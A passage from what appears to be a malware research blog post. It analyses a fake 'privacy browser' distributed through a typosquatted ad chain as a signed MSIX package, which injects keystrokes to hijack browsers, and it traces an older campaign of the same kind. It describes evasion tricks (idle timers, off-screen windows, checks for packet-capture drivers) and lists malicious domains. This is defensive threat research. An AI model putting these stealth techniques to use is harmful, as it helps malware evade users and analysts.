alongside Telegram, AdsPower, GeoEdge&amp;rsquo;s GeoVPN, and Studio 3T.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not a disposable build box&lt;/strong&gt;: iCloud, Netflix, WhatsApp, and Spotify were
installed too — the packaging process leaked the developer&amp;rsquo;s day-to-day
environment as well as the operation&amp;rsquo;s.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The pivot&lt;/strong&gt;: File paths throughout the registry data led to an earlier
iteration of the same activity, using a very similar infection chain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The older campaign&lt;/strong&gt;: Fake companion apps for WhatsApp, Instagram, Facebook
Messenger, Tinder, and Wikipedia, distributed via free software hosting
sites. NSIS installers dropped an NW.js application with a registry run key
for persistence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Host profiling&lt;/strong&gt;: A compiled NW.js module (&lt;code&gt;report.bin&lt;/code&gt;) profiled the host
and reported back, including a &lt;code&gt;driverquery&lt;/code&gt; check for the &lt;code&gt;npf.sys&lt;/code&gt; packet
capture driver — an anti-analysis test for machines running network
monitoring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two paths to change behaviour&lt;/strong&gt;: JavaScript retrieved from the server and
executed inside the running NW.js process, or &lt;code&gt;AutoUpdate.exe&lt;/code&gt; replacing the
application binaries on disk.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weak update mechanism&lt;/strong&gt;: The updater performs no hash or signature
verification on downloaded files before placing them in the application
directory and executing them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Timeline&lt;/strong&gt;: Network activity from scripts submitted to VirusTotal in
January 2016 puts this activity at ten years and counting.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;An alert that says nothing was found is not usually the start of an
investigation. This one was. A file had landed in an employee&amp;rsquo;s downloads
folder. The EDR said it was fine but our custom detections identified something
strange with the file. It is not in our nature to leave something unclassified.&lt;/p&gt;
&lt;p&gt;The employee had bought a new mouse, followed the setup instructions printed on
the box, mistyped a single letter of the address, and downloaded what a search
advert offered instead. It called itself a privacy browser. We found nothing in
it that protected anyone&amp;rsquo;s privacy. On VirusTotal the detection count hovers
between zero and two, depending on the day.&lt;/p&gt;
&lt;p&gt;Inside it was a remote control engine, delivered through channels people are
told they can rely on and signed off by institutions each trusting the one
before them. The build machine was somebody&amp;rsquo;s everyday computer, put together
without following the documentation. Following the threads presented. We found
a campaign that goes back at least a decade.&lt;/p&gt;
&lt;h2&gt;Squeak Squeak&lt;span class="hx:absolute hx:-mt-20" id="squeak-squeak"&gt;&lt;/span&gt;
&lt;a href="#squeak-squeak" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Earlier this year, we got a true infection case sent to us from our internal
security team. An employee had bought a new mouse for their computer and,
during the setup of it, inadvertently downloaded something malicious. The
installer and the application were not flagged by the EDR in any way; as of
this writing, the malicious part of the application is undetected on
VirusTotal. The installer is submitted daily to VirusTotal and is detected by
zero to two engines depending on the day. Even though this &amp;ldquo;application&amp;rdquo; could
be classified as a potentially unwanted application (PUA), antivirus engines
are good at detecting known PUA software. We decided to take a deeper dive.&lt;/p&gt;
&lt;p&gt;The infection started with a simple mistyped letter on the keyboard. The
employee followed the instructions to install a companion application. The
instructions are shown in the figure below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig1.png" title="Figure 1: Photo of the instructions included with the mouse to download a companion application." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Photo of the instructions included with the mouse to download a companion application.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;During the entering of the domain in the instructions, the &amp;ldquo;m&amp;rdquo; in the domain
name was mistyped with an &amp;ldquo;n&amp;rdquo;. Since &amp;ldquo;.con&amp;rdquo; is not a valid top-level domain,
the browser performed a Google search instead. The top hit was an ad with a
similar-looking domain, which, when clicked, eventually sent the user to a
landing page for a &amp;ldquo;privacy browser&amp;rdquo;. The chain is shown in the snippet below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Google search: &amp;#34;www.mxsetup.logi.con&amp;#34;
└── Ad linking click: www.mxsetuplogi.com
└── Traffic broker: https://autrossn.com/xfc/fdci?s=&amp;lt;tracking blob&amp;gt;
├── Landing page: https://lpic.prvbrws.com/?clickid=...&amp;amp;tag=dm&amp;amp;dkw=mxsetuplogi.com
├── Payload download: blob:https://lpic.prvbrws.com/...
└── Post instal page: https://lpic.prvbrws.com/thank-you&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A screenshot of the landing page is shown in Figure 2. It uses Google Recapcha
to ensure the user is human. Once the user passes the CAPTCHA, an MSIX
installer is downloaded, which is a single-click installer.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig2.png" title="Figure 2: Screenshot of the landing page serving the PUA." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Screenshot of the landing page serving the PUA.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;PrivacyBrowse With a Twist&lt;span class="hx:absolute hx:-mt-20" id="privacybrowse-with-a-twist"&gt;&lt;/span&gt;
&lt;a href="#privacybrowse-with-a-twist" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The application was a web browser. From the name, we assume it’s marked as a
privacy-focused browser. It is a functional application; Figure 3 shows a
screenshot of the application. Through our analysis, we did not discover any
privacy-focused improvements.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig3.png" title="Figure 3: Screenshot of the Private Browser application." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Screenshot of the Private Browser application.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The application consists of two parts: a GUI part and an engine. The &amp;ldquo;engine&amp;rdquo;
is &lt;a href="https://nwjs.io/"target="_blank" rel="noopener"&gt;NW.js&lt;/a&gt; with some custom extensions to support the
nefarious functionality. NW.js allows the use of web technologies to build
native looking applications. It makes it easier to target multiple operating
systems. These technologies essentially are web browsers that are restricted to
one site. Most applications include the web resources and access them from
within the application folder. This PUA does it differently. It always fetches
the content from a web server. In this version of the application. The domain
used to host the GUI has appeared on and off Umbrella’s Top Million Domain list
since December 2025. We have only seen this application hosted on this domain,
so our assumption is that the traffic represents usage of the application.&lt;/p&gt;
&lt;p&gt;The NW.js engine has been extended to include a hidden remote execution
functionality. The functionality is implemented via a synthetic input injection
engine. The engine can start an application and inject mouse and keyboard
inputs to the application, allowing the operator of the PUA to perform anything
on the machine that a user can. Essentially, the functionality is similar to
what can be achieved with a
&lt;a href="https://shop.hak5.org/products/usb-rubber-ducky"target="_blank" rel="noopener"&gt;USB Rubber Ducky&lt;/a&gt; but over
the internet. The inputs are sent by the GUI, and since that part of the
application is never on the disk of the machine, it’s hard to identify the
nefarious functionality.&lt;/p&gt;
&lt;p&gt;The remote execution instruction is coded into the GUI part of the application.
Since it’s hosted on the operator’s infrastructure, it can be changed without
having to update the installed PUA. The functionality we have observed is to
hijack the user’s default search engine in the web browser or to install
browser extensions. The PUA takes many precautions not to get detected by the
user. First, it waits at least 7 minutes after the machine has been idle before
starting. The browser window is moved off-screen, so if someone is watching the
screen, they won’t see the effects of keystroke injections. Once it’s done, it
restores the window to its previous state.&lt;/p&gt;
&lt;p&gt;The PUA is using geolocation to determine what to perform. All countries are
part of one of three groups: Tier 1, blocked, or other. The tier one countries
are: US, CA, GB, DE, FR, IT, ES, SE, NL, AU. Users in these countries have both
the search engine changed and browser extensions installed. The blocked country
list is likely used to prevent bringing attention to local authorities; if the
user is in a country on this list, nothing nefarious is performed. Users in
other countries just have the extension installed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig4.png" title="Figure 4: List of the Tier 1 countries: United States, Canada, United Kingdom, Germany, France, Italy, Spain, Sweden, Netherlands, and Australia." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: List of the Tier 1 countries: United States, Canada, United Kingdom, Germany, France, Italy, Spain, Sweden, Netherlands, and Australia.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The GUI tracks all the campaigns that have been executed on the machine. It’s
stored in localStorage, and there is some code to migrate from an old format to
the current one. This migration code, shown in the snippet below, identifies
three historical campaigns.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;* Normalize a localStorage data structure for Emu history as a JSON Object with the following:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;* emuHistory =
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;* {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; emuType: &amp;lt;TYPE&amp;gt;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; emuTS: &amp;lt;TS&amp;gt;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; emuItem: &amp;lt;itemID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;* }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuHistory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuTS&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuType&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;emuType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuType&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;emuTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuTS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;emuId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuType&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;emuId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lionstab&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuType&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;emuId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;topnotch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;emuType&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;emuId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;streamio&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;logEmu&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;emuType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;emuTS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;emuId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;While the PUA &amp;ldquo;only&amp;rdquo; installs extensions and modifies the browser&amp;rsquo;s default
search engine, a threat like this should still be taken seriously. A browser
extension can be granted very powerful access to the content a user is viewing
in a web browser, which can lead to unauthorized access to enterprises’ private
data. Currently, we have only observed the injection engine used to control a
browser window; the implementation is generic enough to control any application
on the machine. For example, the operators could spawn a PowerShell terminal
and inject code to download and execute malware.&lt;/p&gt;
&lt;h2&gt;Pretty Little Bow&lt;span class="hx:absolute hx:-mt-20" id="pretty-little-bow"&gt;&lt;/span&gt;
&lt;a href="#pretty-little-bow" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Using MSIX as a delivery mechanism is not new, but it is still a very effective
way to bypass defenses. The VirusTotal detection rates of these files are often
0.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig5.png" title="Figure 5: Screenshot showing the clean detection in VirusTotal." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Screenshot showing the clean detection in VirusTotal.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There are a few reasons MSIX is an attractive delivery mechanism for malware
developers. From the victim&amp;rsquo;s point of view, it provides a much cleaner
installation experience than being asked to run an unfamiliar executable. The
package is
&lt;a href="https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-root"target="_blank" rel="noopener"&gt;opened through Microsoft&amp;rsquo;s App Installer&lt;/a&gt;,
which gives the process
&lt;a href="https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-ui-dialog"target="_blank" rel="noopener"&gt;a polished Windows interface with application branding and publisher information&lt;/a&gt;.
In a campaign that already relies on convincing the victim that they are
installing legitimate software, this helps the installer feel like a normal
part of Windows rather than something obviously suspicious.&lt;/p&gt;
&lt;p&gt;MSIX can also benefit from
&lt;a href="https://learn.microsoft.com/en-us/windows/apps/publish/publish-your-app/msix/app-package-requirements#code-signing-for-microsoft-store-submissions"target="_blank" rel="noopener"&gt;Microsoft&amp;rsquo;s signing infrastructure&lt;/a&gt;
when packages are distributed through the Microsoft Store. Once accepted, the
package distributed to users is signed by Microsoft, which removes much of the
friction normally associated with an unknown publisher.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;MSIX signing chain
└─ 9A1AB723-7EB8-4FA1-A268-BC4765499F15
[leaf / package signer] expires Oct 17 10:08:01 2024 GMT
⤷ the developer&amp;#39;s Store publisher identity (the actor)
└─ Microsoft Marketplace CA G 023
[intermediate CA] expires Apr 11 17:45:41 2029 GMT
└─ Microsoft MarketPlace PCA 2011
[intermediate CA] expires Mar 28 21:19:39 2031 GMT
└─ Microsoft Root Certificate Authority 2011
[root CA — not embedded in package, trusted by Windows]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The format itself gives the attacker plenty of room to blend in. An MSIX
package is essentially a
&lt;a href="https://learn.microsoft.com/en-us/windows/msix/overview#inside-an-msix-package"target="_blank" rel="noopener"&gt;structured archive containing a manifest&lt;/a&gt;
and the files required by the application. These archives can contain hundreds
to thousands of files. In these samples there was very little obviously
malicious content in the package itself.&lt;/p&gt;
&lt;p&gt;The downside for the malware developers is that MSIX can preserve much more of
the build environment than they probably intended. The packages contained
registry hive files used by the application&amp;rsquo;s virtualised environment, and
these turned out to be particularly valuable. When packages are built using the
MSIX Packaging Tool, the tool monitors an installer running on a real system
and records the changes it makes; to quote the
&lt;a href="https://learn.microsoft.com/en-us/windows/msix/packaging-tool/create-app-package"target="_blank" rel="noopener"&gt;official documentation&lt;/a&gt;
for the MSIX Packaging Tool:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A clean machine for conversion is important because during the installation
step of the MSIX Packaging Tool, we will be listening to everything in the
environment to capture what the installer is doing. A clean machine means that
there aren&amp;rsquo;t extraneous apps or services running on your machine that could get
captured in your package.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Failing to follow this process, as the malware authors did, can capture more
than the application actually needs, leaving fragments of the builder&amp;rsquo;s own
registry inside the finished package.&lt;/p&gt;
&lt;p&gt;In the case that we have encountered during this research, these hives gave us
a surprisingly detailed view of the machine used to build the samples. The name
of the user account, and artifacts such as the Start menu cache and UserAssist
entries allowed us to recover a good portion of the installed software and
recently used applications. The machine contained the expected development
tooling, including Node through nvm, VS Code, TortoiseGit, Paint.NET and the
MSIX Packaging Tool, alongside Telegram. More interestingly, AdsPower and
GeoEdge&amp;rsquo;s GeoVPN were also installed, which fit well with an operation centred
around advertising traffic.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig6.png" title="Figure 6: Registry data showing some of the installed applications on the build machine." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Registry data showing some of the installed applications on the build machine.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It was also clearly not a clean or disposable build machine. Personal
applications such as iCloud, WhatsApp and Spotify were present alongside the
development tooling, which meant the packaging process leaked traces of both
the operation and the developer&amp;rsquo;s day-to-day environment. The strongest leads
come through file paths left throughout the registry data, uncovering a
previous iteration of this activity.&lt;/p&gt;
&lt;h2&gt;Time…&lt;span class="hx:absolute hx:-mt-20" id="time"&gt;&lt;/span&gt;
&lt;a href="#time" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Analysing the keys in the registry hives, allows for interesting metadata
pivots. This uncovers a previous campaign from the same actor. A campaign that
is at least 10 years old, using a very similar infection chain to NinjaMare.&lt;/p&gt;
&lt;p&gt;The infection chain starts by getting the user to download an application
related to a current application that they may currently use. Most prominently
WhatsApp, but also Instagram, Facebook Messenger, Tinder, Wikipedia to name a
few. The files are distributed via a number of free file software hosting
sites.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig7.png" title="Figure 7: Installer for application from previous campaign being served on free software hosting sites." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Installer for application from previous campaign being served on free software hosting sites.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This application is an NSIS installer. During the installation of the file, the
NSIS installer unpacks a number of files and creates a persistence registry run
key for a NW.js application. The persistence triggers the NW.js application to
run silently in the background. The app points to a HTML page that imports a
JavaScript file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig8.png" title="Figure 8: NW.js Package configuration." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: NW.js Package configuration.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/09/rubber-ducky-in-the-sky/images/fig9.png" title="Figure 9: HTML importing malicious JavaScript file" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: HTML importing malicious JavaScript file&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The JavaScript file is a NodeJS application. The script will execute a compiled
JavaScript binary called &lt;code&gt;report.bin&lt;/code&gt;. The &lt;code&gt;report.bin&lt;/code&gt; file is a compiled
NW.js module used to profile the host and report information back to a remote
server. One of its more interesting checks involves running &lt;code&gt;driverquery&lt;/code&gt; and
looking for the &lt;code&gt;npf.sys&lt;/code&gt; packet capture driver, which is commonly associated
with tools such as WinPcap/Npcap. In context, this appears to act as a basic
anti-analysis or anti-sandbox check, allowing the malware to identify systems
that may be running network monitoring software. Machines matching this
condition are then assigned a crude internal label, as a classification logic.
The module also builds its reporting URL from several smaller string fragments
and appears to retrieve JavaScript from the remote server. That JavaScript can
then be handed back to the main script for execution, effectively giving the
server a way to change or extend the malware&amp;rsquo;s behaviour without shipping a new
copy of the application.&lt;/p&gt;
&lt;p&gt;The remainder of &lt;code&gt;main.js&lt;/code&gt; acts as the controller for the application. In
addition to handling the local storage, reporting and execution of JavaScript
received from the remote server, it is also responsible for launching the
separate AutoUpdate.exe component when the application needs to update itself.
This gives the operators two different ways of changing the malware after
installation: they can supply JavaScript for immediate execution inside the
running NW.js process, or have main.js invoke the updater to replace the
